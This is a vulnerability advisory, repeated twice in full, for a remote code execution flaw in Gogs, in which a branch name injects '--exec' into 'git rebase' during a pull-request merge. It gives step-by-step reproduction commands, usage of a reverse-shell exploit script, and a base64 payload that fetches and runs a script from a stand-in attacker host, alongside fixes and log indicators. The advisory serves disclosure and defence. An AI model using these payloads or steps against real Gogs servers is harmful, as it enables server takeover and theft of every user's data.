# Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge ## Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation. ## Severity **Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ## Affected Versions - **Gogs 0.14.2** (latest supported release) - Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16) - All prior versions that support the "Rebase before merging" merge style ## Impact This is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: - **Server compromise**: Arbitrary command execution as the Gogs process user - **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos - **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user - **Lateral movement**: Pivot to other systems accessible from the server's network - **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default). The severity is heightened because: - **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. - **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.) - The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit - The exploit is fully automatable (see PoC) - The exploit leaves minimal traces (a 500 error in server logs, easily missed) ## Prerequisites The attacker needs **one** of the following: - **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default** - **Write access** to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However: - Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced - The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can - Many organizations enable rebase merge as a standard practice ## Root Cause Analysis In `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator: ```go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { ``` The `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`: ```go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") ``` Both `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify <ref>` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator. ## Exploitation Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named: ```bash --exec=touch${IFS}/tmp/rce_proof ``` When used as `pr.BaseBranch` in the rebase command: ```bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' ``` 1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag 2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit 3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command `touch /tmp/rce_proof` executes as the Gogs server process user For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\`, `//`), such as URLs, the attacker base64-encodes the payload: ```bash --exec=echo${IFS}<base64>|base64${IFS}-d|sh ``` For example, `curl https://attacker.com/shell.sh|sh` becomes: ```bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh ``` This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk. ### Full Execution Flow in `Merge()` The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233) | `git clone -b '<malicious>' <repo> <tmp>` | **Succeeds** - `-b` consumes `--exec=...` as the branch value | | [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo <repo>` + `git fetch head_repo` | Succeeds normally | | [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) | `git rebase --quiet '<malicious>' 'head_repo/feature'` | **RCE fires here** - `--exec=<cmd>` parsed as flag, command runs via `sh -c` | | [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290) | `git checkout -b <tmpBranch>` | Succeeds (tmpBranch is a server-generated timestamp) | | [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297) | `git checkout '<malicious>'` | **Fails** - git interprets `--exec=...` as invalid option for checkout | Step 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs: ```log [E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>' ``` This is logged via [`c.Error(err, "merge")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level. ### Why the PR Becomes Mergeable The `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths: - **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally. - **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error. The exploit relies on the following causal chain: 1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds. 2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`. 3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error. 4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**. The PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path. ### Proof of Concept A standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation. #### Usage ```bash # Reverse shell (Linux) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> # Reverse shell (Windows) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows # Custom command python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned' # Version fingerprint only (no exploit) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check ``` #### Demo Run the PoC with a reverse shell payload: ```bash python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337 [*] Fingerprinting target... [+] Gogs 0.14.2 detected [*] Authenticating as "attacker" [+] Authenticated [*] Creating repository [+] Repository xxxx-yyyy created [*] Enabling rebase merge [+] Rebase merge enabled [*] Pushing branches via git [+] Branches pushed [*] Creating pull request [+] PR #1 created [*] Triggering rebase merge - RCE fires now! [+] Rebase merge triggered ``` Checking the listener: ```bash $ nc -nlvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43240 $ whoami git ``` ### Manual Browser Reproduction This can be reproduced entirely through the Gogs web UI: **Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account. **Step 1: Create a repository and push branches** ```bash # Create repo via Gogs API curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \ -H 'Content-Type: application/json' -d '{"name":"demo"}' # Set up local repo with divergent branches mkdir /tmp/demo && cd /tmp/demo && git init git config user.email "[email protected]" && git config user.name "attacker" echo "# Demo" > README.md && git add . && git commit -m "Initial commit" git checkout -b feature echo "feature" > feature.txt && git add . && git commit -m "Add feature" git checkout master echo "update" >> README.md && git add . && git commit -m "Update master" # Create the malicious branch (same commit as master) git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD # Push all branches git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' ``` **Step 2: Enable rebase in repo settings** 1. Navigate to `http://localhost:3080/attacker/demo/settings` 2. Click **Advanced Settings** 3. Check **Enable Pull Requests**, then check **Allow rebase** 4. Click **Save** (Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`) **Step 3: Create the Pull Request** Navigate to the compare URL (base = malicious branch, head = feature): ``` http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature ``` Enter a title (e.g., "RCE PoC") and click **New Pull Request**. **Step 4: Wait for testPatch (~5 seconds)** The background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear. **Step 5: Trigger the merge** 1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging** 2. Click **Merge Pull Request** 3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase) **Step 6: Verify RCE** ```bash $ ls -la /tmp/BROWSER_RCE_PROOF -rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF ``` The file was created by the Gogs server process during `git rebase --exec` ## Recommended Fix ### Primary fix: Add `--` separator ```go // internal/database/pull.go line 282 "git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch ``` ### Defense-in-depth: Validate branch names Reject base branch names starting with `-` at the PR creation endpoint: ```go // internal/route/repo/pull.go, after line 447 if strings.HasPrefix(baseRef, "-") { c.NotFound() return nil, nil, nil, nil, "", "" } ``` ### Additional hardening Apply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`: - Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened) - Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`) - Line 315: `git push <repo> pr.BaseBranch` (should use `--` separator) ## Relationship to Prior Argument Injection Fixes This vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories: | Advisory | CVE | Description | Fix Applied | | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- | | [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag` | | [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview | Added `--end-of-options` to `git diff` | | [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion | Migrated to safe git-module API | | [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server | Added `--` separator to `git upload-pack` / `git receive-pack` | The [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated. Notably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see "Why the PR Becomes Mergeable" above). ## Affected Platforms The vulnerability has been confirmed on: - **Linux**: Docker (official image) and binary installation on Ubuntu 24.04 - **Windows**: Binary installation with Git for Windows (MSYS2) On Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}<filename>`. An `sh` wrapper invokes `cmd.exe //c <payload>.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically. ## Test Environment - **OS**: Ubuntu Linux 24.04, Windows (Git for Windows) - **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`) - **Go version**: go1.26.1 - **Database**: SQLite - **Deployment**: Docker (official image), binary, and built from source ## Credit Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7
# Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge ## Summary Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation. ## Severity **Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) ## Affected Versions - **Gogs 0.14.2** (latest supported release) - Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16) - All prior versions that support the "Rebase before merging" merge style ## Impact This is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server: - **Server compromise**: Arbitrary command execution as the Gogs process user - **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos - **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user - **Lateral movement**: Pivot to other systems accessible from the server's network - **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only. The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default). The severity is heightened because: - **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker. - **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.) - The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit - The exploit is fully automatable (see PoC) - The exploit leaves minimal traces (a 500 error in server logs, easily missed) ## Prerequisites The attacker needs **one** of the following: - **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default** - **Write access** to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge) Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However: - Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced - The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can - Many organizations enable rebase merge as a standard practice ## Root Cause Analysis In `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator: ```go if _, stderr, err = process.ExecDir(-1, tmpBasePath, fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath), "git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil { ``` The `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`: ```go baseRef := infos[0] // from strings.Split(c.Params("*"), "...") ``` Both `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify <ref>` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator. ## Exploitation Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named: ```bash --exec=touch${IFS}/tmp/rce_proof ``` When used as `pr.BaseBranch` in the rebase command: ```bash git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature' ``` 1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag 2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit 3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names 4. The command `touch /tmp/rce_proof` executes as the Gogs server process user For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\`, `//`), such as URLs, the attacker base64-encodes the payload: ```bash --exec=echo${IFS}<base64>|base64${IFS}-d|sh ``` For example, `curl https://attacker.com/shell.sh|sh` becomes: ```bash --exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh ``` This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk. ### Full Execution Flow in `Merge()` The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially: | Step | Command | Result with malicious branch | | ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- | | [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233) | `git clone -b '<malicious>' <repo> <tmp>` | **Succeeds** - `-b` consumes `--exec=...` as the branch value | | [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo <repo>` + `git fetch head_repo` | Succeeds normally | | [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) | `git rebase --quiet '<malicious>' 'head_repo/feature'` | **RCE fires here** - `--exec=<cmd>` parsed as flag, command runs via `sh -c` | | [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290) | `git checkout -b <tmpBranch>` | Succeeds (tmpBranch is a server-generated timestamp) | | [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297) | `git checkout '<malicious>'` | **Fails** - git interprets `--exec=...` as invalid option for checkout | Step 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs: ```log [E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>' ``` This is logged via [`c.Error(err, "merge")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level. ### Why the PR Becomes Mergeable The `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths: - **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally. - **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error. The exploit relies on the following causal chain: 1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds. 2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`. 3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error. 4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**. The PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path. ### Proof of Concept A standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation. #### Usage ```bash # Reverse shell (Linux) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> # Reverse shell (Windows) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows # Custom command python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned' # Version fingerprint only (no exploit) python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check ``` #### Demo Run the PoC with a reverse shell payload: ```bash python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337 [*] Fingerprinting target... [+] Gogs 0.14.2 detected [*] Authenticating as "attacker" [+] Authenticated [*] Creating repository [+] Repository xxxx-yyyy created [*] Enabling rebase merge [+] Rebase merge enabled [*] Pushing branches via git [+] Branches pushed [*] Creating pull request [+] PR #1 created [*] Triggering rebase merge - RCE fires now! [+] Rebase merge triggered ``` Checking the listener: ```bash $ nc -nlvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 43240 $ whoami git ``` ### Manual Browser Reproduction This can be reproduced entirely through the Gogs web UI: **Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account. **Step 1: Create a repository and push branches** ```bash # Create repo via Gogs API curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \ -H 'Content-Type: application/json' -d '{"name":"demo"}' # Set up local repo with divergent branches mkdir /tmp/demo && cd /tmp/demo && git init git config user.email "[email protected]" && git config user.name "attacker" echo "# Demo" > README.md && git add . && git commit -m "Initial commit" git checkout -b feature echo "feature" > feature.txt && git add . && git commit -m "Add feature" git checkout master echo "update" >> README.md && git add . && git commit -m "Update master" # Create the malicious branch (same commit as master) git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD # Push all branches git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' ``` **Step 2: Enable rebase in repo settings** 1. Navigate to `http://localhost:3080/attacker/demo/settings` 2. Click **Advanced Settings** 3. Check **Enable Pull Requests**, then check **Allow rebase** 4. Click **Save** (Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`) **Step 3: Create the Pull Request** Navigate to the compare URL (base = malicious branch, head = feature): ``` http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature ``` Enter a title (e.g., "RCE PoC") and click **New Pull Request**. **Step 4: Wait for testPatch (~5 seconds)** The background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear. **Step 5: Trigger the merge** 1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging** 2. Click **Merge Pull Request** 3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase) **Step 6: Verify RCE** ```bash $ ls -la /tmp/BROWSER_RCE_PROOF -rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF ``` The file was created by the Gogs server process during `git rebase --exec` ## Recommended Fix ### Primary fix: Add `--` separator ```go // internal/database/pull.go line 282 "git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch ``` ### Defense-in-depth: Validate branch names Reject base branch names starting with `-` at the PR creation endpoint: ```go // internal/route/repo/pull.go, after line 447 if strings.HasPrefix(baseRef, "-") { c.NotFound() return nil, nil, nil, nil, "", "" } ``` ### Additional hardening Apply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`: - Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened) - Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`) - Line 315: `git push <repo> pr.BaseBranch` (should use `--` separator) ## Relationship to Prior Argument Injection Fixes This vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories: | Advisory | CVE | Description | Fix Applied | | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- | | [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag` | | [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview | Added `--end-of-options` to `git diff` | | [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion | Migrated to safe git-module API | | [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server | Added `--` separator to `git upload-pack` / `git receive-pack` | The [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated. Notably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see "Why the PR Becomes Mergeable" above). ## Affected Platforms The vulnerability has been confirmed on: - **Linux**: Docker (official image) and binary installation on Ubuntu 24.04 - **Windows**: Binary installation with Git for Windows (MSYS2) On Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}<filename>`. An `sh` wrapper invokes `cmd.exe //c <payload>.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically. ## Test Environment - **OS**: Ubuntu Linux 24.04, Windows (Git for Windows) - **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`) - **Go version**: go1.26.1 - **Database**: SQLite - **Deployment**: Docker (official image), binary, and built from source ## Credit Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7
Update gogs.io/gogs to 0.14.3 if you use the affected versions. Test the change in a non-production environment first.
